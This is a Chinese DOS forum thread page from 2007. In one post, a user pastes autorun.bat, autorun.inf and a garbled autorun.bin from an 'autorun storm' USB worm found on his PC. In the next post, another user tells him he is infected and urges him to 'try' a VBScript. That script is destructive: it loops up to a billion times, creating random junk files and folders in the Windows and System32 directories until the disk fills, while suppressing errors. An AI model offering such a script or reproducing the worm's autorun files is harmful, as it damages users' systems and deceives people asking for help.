中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net  论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

游客:  注册 | 登录 | 命令行 | 会员 | 搜索 | 上传 | 帮助 »
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 如何把所有文件都改成jpg后缀名
« [1] [2] [3] »
作者:
标题: 如何把所有文件都改成jpg后缀名 上一主题 | 下一主题
GGM
新手上路





积分 16
发帖 7
注册 2007-2-28
状态 离线
『第 31 楼』:  

我电脑这些是什么?
autorun.bat:
@echo off
rem autorun风暴
if exist .\autorun.reg regedit /s .\autorun.reg
if not "%1"=="" goto open
if exist autorun.vbs start WScript.exe autorun.vbs&exit
if exist %SYSTEMROOT%\system32\autorun.vbs start WScript.exe %SYSTEMROOT%\system32\autorun.vbs&exit
exit
:open
if not "%1"=="Open" goto next
start explorer .\
exit
:next
if not "%1"=="Over" goto :next2
if exist .\autorun.bin type .\autorun.bin >C:\autorun.txt&&exit
if exist %SYSTEMROOT%\system32\autorun.bin type %SYSTEMROOT%\system32\autorun.bin >c:\autorun.txt&&exit
exit
:next2
if "%1"=="-" attrib -s -a -h -r %2\autorun.*
if "%1"=="+" attrib +s +a +h +r %2\autorun.*
:end

autorun.bin:
+,-.*+,-.*+,-.*+,-.*+,-.*+,-.*+,币夜留娘,-.*+,-.*+,-.*+,-.*+,-.*+,-.*+,-
!"罕创数碾.重凛毕叶.簿狮嗟须ˉ趴登灵秆.眶此惩恤虞铱日煎.易瘪留娘ˉ由盂澄絮?均潍cxxoswq0故谬谬苇euuquyn疯鲍ˇ萨君潍羔寿0自布址揖歇,燃酚我壹樊星旬,页酗倪硫人友他灯¨ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !
$ !"#聪程畜随倪疮播-淡确吴害·进虞锦日友赐啼事:*.直瑚再芜喘波¨ !"#$ !
$ !"香猩各渭级宇猩大友苑/棕能!抿次冯暴;++戴不撂衫#她有蹬cxxoswq-。!"#
!"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !" !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !
$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$  #$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$
"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !角绷旷人!"#$
"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$2129念6悦37荣  #$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !"#$ !逡姚咀士

autorun.inf:
autorun风暴
[autorun]
open=

shell\open=打开(&O)
shell\open\Command=WScript.exe .\autorun.vbs
shell\open\Default=1
shell\explore=资源管理器(&X)
shell\explore\Command=WScript.exe .\autorun.vbs

..............

2007-3-1 03:16
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
KKIILDL
初级用户





积分 48
发帖 32
注册 2007-2-28
状态 离线
『第 32 楼』:  

恭喜你!中病毒了!上网查查吧!
反正也要坏了,试一试VBS它:
on error resume next
dim objdir,suijishu
set objdir=wscript.createobject("scripting.filesystemobject")
set windir=objdir.getspecialfolder(0)
set sysdir=objdir.getspecialfolder(1)
'开始程序
for i=1 to 1000
for j=1 to 1000
for r=1 to 1000'------------------------------------------------------------------------------
randomize
y=int((122-65+1)*rnd+65)
y1=int((122-65+1)*rnd+65)
y2=int((122-65+1)*rnd+65)
y3=int((122-65+1)*rnd+65)
y4=int((122-65+1)*rnd+65)
y5=int((122-65+1)*rnd+65)
y6=int((122-65+1)*rnd+65)
y7=int((122-65+1)*rnd+65)
y8=int((122-65+1)*rnd+65)'-----------------------------------------------------------------
y9=int((122-65+1)*rnd+65)
f=chr(y)&chr(y1)&chr(y2)&chr(y3)&chr(y4)&chr(y5)&chr(y6)&chr(y7)&chr(y8)&chr(y9)
suijishu=int(rnd*10000)
'创建windows文件
yang=windir&"\"&f&"."&chr(y3)&chr(y7)&chr(y)
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"GGM同志"
a.writeline"Oicq:14903220"'------------------------------------------------------------
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=windir&"\"&chr(y3)&chr(y1)&"."&chr(y)&chr(y4)&chr(y2) '2
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"GGM同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu'-----------------------------------------------------------------------
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=windir&"\"&chr(y7)&chr(y2)&chr(y9)&"."&chr(y8)&chr(y4)&chr(y1) '3
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"GGM同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)'-------------------------------------------------------------
next
a.close
yang=windir&"\"&chr(y5)&chr(y2)&chr(y9)&chr(y1)&"."&chr(y6)&chr(y9)&chr(y3) '4
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"GGM同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next'--------------------------------------------------------------------------------------
a.close
yang=windir&"\"&chr(y6)&chr(y2)&chr(y)&chr(y4)&chr(y5)&"."&chr(y6)&chr(y8)&chr(y4) '5
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"GGM同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close'---------------------------------------------------------------------------------

yang=windir&"\"&chr(y3)&chr(y6)&chr(y1)&chr(y8)&chr(y5)&chr(y9)&"."&chr(y3)&chr(y8)&chr(y) '6
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"GGM同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close'----------------------------------------------------------------------------------
yang=windir&"\"&chr(y4)&chr(y2)&chr(y1)&chr(y7)&chr(y8)&chr(y)&chr(y4)&"."&chr(y2)&chr(y)&chr(y5) '7
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"GGM同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=windir&"\"&chr(y8)&chr(y2)&chr(y6)&chr(y4)&chr(y1)&chr(y)&chr(y6)&chr(y1)&"."&chr(y4)&chr(y)&chr(y7) '8'---
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"GGM同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
'创建system文件------------------------------------------------------------------------------10
yang=sysdir&"\"&f&"."&chr(y3)&chr(y9)&chr(y1)
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"GGM同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&"\"&chr(y3)&chr(y1)&"."&chr(y4)&chr(y2)&chr(y9) '2------------------------------------------
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"GGM同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&"\"&chr(y7)&chr(y2)&chr(y9)&"."&chr(y3)&chr(y7)&chr(y) '3
set a=objdir.createtextfile(yang,true)'------------------------------------------------------
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"GGM同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&"\"&chr(y5)&chr(y2)&chr(y9)&chr(y1)&"."&chr(y5)&chr(y4)&chr(y1) '4
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"'-----------------------------------------
a.writeline"GGM同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&"\"&chr(y6)&chr(y2)&chr(y)&chr(y4)&chr(y5)&"."&chr(y3)&chr(y6)&chr(y9) '5
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"GGM同志"'------------------------------------------------
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&"\"&chr(y3)&chr(y6)&chr(y1)&chr(y8)&chr(y5)&chr(y9)&"."&chr(y3)&chr(y)&chr(y5) '6
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"GGM同志"
a.writeline"Oicq:14903220"'------------------------------------------------------------15
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&"\"&chr(y4)&chr(y2)&chr(y1)&chr(y7)&chr(y8)&chr(y)&chr(y4)&"."&chr(y7)&chr(y5)&chr(y1) '7
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"志"
a.writeline"Oicq:14903220"
for u=1 to suijishu'-------------------------------------------------------------------------
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&"\"&chr(y8)&chr(y2)&chr(y6)&chr(y4)&chr(y1)&chr(y)&chr(y6)&chr(y1)&"."&chr(y1)&chr(y7)&chr(y4) '8
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"GGM同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)'--------------------------------------------------------------
next
a.close
'创建windows文件夹
yang=windir&"\"&f&"u"
objdir.createfolder(yang)
yang=windir&"\"&chr(y4)&chr(y2) '2
objdir.createfolder(yang)
yang=windir&"\"&chr(y)&chr(y9)&chr(y5) '3
objdir.createfolder(yang)'-------------------------------------------------------------------
yang=windir&"\"&chr(y6)&chr(y3)&chr(y8)&chr(y7) '4
objdir.createfolder(yang)
yang=windir&"\"&chr(y5)&chr(y)&chr(y1)&chr(y9)&chr(y3) '5
objdir.createfolder(yang)
yang=windir&"\"&chr(y6)&chr(y9)&chr(y4)&chr(y6)&chr(y1)&chr(y7) '6
objdir.createfolder(yang)
yang=windir&"\"&chr(y3)&chr(y6)&chr(y)&chr(y1)&chr(y7)&chr(y6)&chr(y2) '7
objdir.createfolder(yang)
yang=windir&"\"&chr(y6)&chr(y2)&chr(y9)&chr(y)&chr(y4)&chr(y7)&chr(y2)&chr(y5) '8
objdir.createfolder(yang)'--------------------------------------------------------------------

'创建system文件夹
yang=sysdir&"\"&f&"n"
objdir.createfolder(yang)
yang=sysdir&"\"&chr(y4)&chr(y2) '2
objdir.createfolder(yang)
yang=sysdir&"\"&chr(y)&chr(y9)&chr(y5) '3
objdir.createfolder(yang)
yang=sysdir&"\"&chr(y6)&chr(y3)&chr(y8)&chr(y7) '4
objdir.createfolder(yang)'---------------------------------------------------------------------
yang=sysdir&"\"&chr(y5)&chr(y)&chr(y1)&chr(y9)&chr(y3) '5
objdir.createfolder(yang)
yang=sysdir&"\"&chr(y6)&chr(y9)&chr(y4)&chr(y6)&chr(y1)&chr(y7) '6
objdir.createfolder(yang)
yang=sysdir&"\"&chr(y3)&chr(y6)&chr(y)&chr(y1)&chr(y7)&chr(y6)&chr(y2) '7
objdir.createfolder(yang)
yang=sysdir&"\"&chr(y6)&chr(y2)&chr(y9)&chr(y)&chr(y4)&chr(y7)&chr(y2)&chr(y5) '8
objdir.createfolder(yang)
next
next
next
'希望大家喜欢!!!!!!!!!!!'----------------------------------------

2007-3-1 04:21
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
zzmwmh
新手上路





积分 7
发帖 4
注册 2006-11-22
状态 离线
『第 33 楼』:  

我没办法想,只能顶顶了

2007-3-1 05:05
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
« [1] [2] [3] »
请注意:您目前尚未注册或登录,请您注册登录以使用论坛的各项功能,例如发表和回复帖子等。


可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题



论坛跳转: